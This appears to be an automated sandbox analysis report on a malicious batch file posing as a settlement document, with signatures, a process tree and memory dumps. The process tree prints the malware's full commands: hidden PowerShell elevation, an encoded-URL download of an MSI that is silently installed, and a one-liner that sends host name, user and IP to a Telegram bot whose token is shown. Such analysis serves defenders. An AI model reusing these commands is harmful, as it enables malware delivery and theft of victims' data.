Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 12:25

General

  • Target
    Documents/Q12 2026 SETTLEMENT.bat
  • Size 1KB
  • Sample260727-plsckaswct
  • SHA256 415da0881ae2019a096bba596c1643fee0ec44d08682f748f88a39665d99a375
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Documents\Q12 2026 SETTLEMENT.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"C:\Users\Admin\AppData\Local\Temp\Documents\Q12 2026 SETTLEMENT.bat\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Documents\Q12 2026 SETTLEMENT.bat" HIDDEN
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='104116116112115058047047098097105103101116114099046115051046117115045101097115116045050046097109097122111110097119115046099111109047083099114101101110067111110110101099116046067108105101110116083101116117112046109115105'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=3){ $bytes+=[byte]($s.Substring($i,3)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\~temp.msi' -UseBasicParsing } catch {}"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2512
        • C:\Windows\system32\msiexec.exe
          msiexec /i "C:\Users\Admin\AppData\Local\Temp\~temp.msi" /quiet /qn /norestart
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$token='8723817827:AAEfo4zFxtKnGMqHTCp5uTRSd4XQZzYkJ_8';$chat='8125456434';$pc=$env:COMPUTERNAME;$user=$env:USERNAME;$ip=(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content.Trim();$msg=[uri]::EscapeDataString('UAC Approved'+[char]10+'PC: '+$pc+[char]10+'User: '+$user+[char]10+'IP: '+$ip);Invoke-WebRequest -Uri ('https://api.telegram.org/bot'+$token+'/sendMessage?chat_id='+$chat+'&text='+$msg) -UseBasicParsing|Out-Null"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4400
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:3832

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 147e5e696d42008f35efb5a2445233b3af34c0c91f89d62755654cc065d6d598
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 858acdb8676d64845c57816b4a70cbba05c24841677e899c3325cc692f03f82e
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_ggsoqklp.oas.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ggsoqklp.oas.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1568-13-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-12-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-7-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-8-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-9-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-5-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-14-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-0-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp

        memory/1568-16-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/1568-3-0x000002D8A28E0000-0x000002D8A2902000-memory.dmp

        memory/1568-4-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/2512-17-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/2512-21-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/2512-24-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/2512-20-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/2512-27-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/2512-19-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

        memory/2512-18-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp